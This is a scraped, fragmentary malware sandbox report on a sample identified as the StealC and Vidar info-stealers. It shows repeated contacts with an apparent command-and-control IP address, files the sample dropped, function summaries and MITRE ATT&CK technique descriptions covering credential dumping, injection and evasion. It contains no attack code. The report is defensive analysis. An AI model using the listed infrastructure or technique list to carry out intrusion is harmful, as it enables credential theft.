Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\DGCAAAFC

C:\ProgramData\DGCAAAFCBFBAKFHJDBKJJJJJJD

C:\ProgramData\FBFIJJEBKEBFCBGDAEGDHDGHCG

C:\ProgramData\FCAAAAFBKFIECAAKECGCAAKJEC

C:\ProgramData\FIDAFCAFCBKECBGCFIIJ

C:\ProgramData\GHDBKFHI

C:\ProgramData\HIDHDAAEHIEHIECBKJDG

C:\ProgramData\IEHCAKKJDBKKFHJJDHII

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

C:\ProgramData\nss3.dll

Windows Analysis Report
file.exe

Function 00579860 Relevance: 84.2, APIs: 33, Strings: 15, Instructions: 212
libraryloaderCOMMON

Function 005645C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 0056BE70 Relevance: 40.9, APIs: 17, Strings: 6, Instructions: 675
fileCOMMON

Function 6CA835A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Function 00574910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Function 00564880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 00579C10 Relevance: 264.9, APIs: 112, Strings: 39, Instructions: 684
libraryloaderCOMMON

Function 00567710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Function 00570250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Function 00565100 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 572
stringnetworkmemoryCOMMON

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre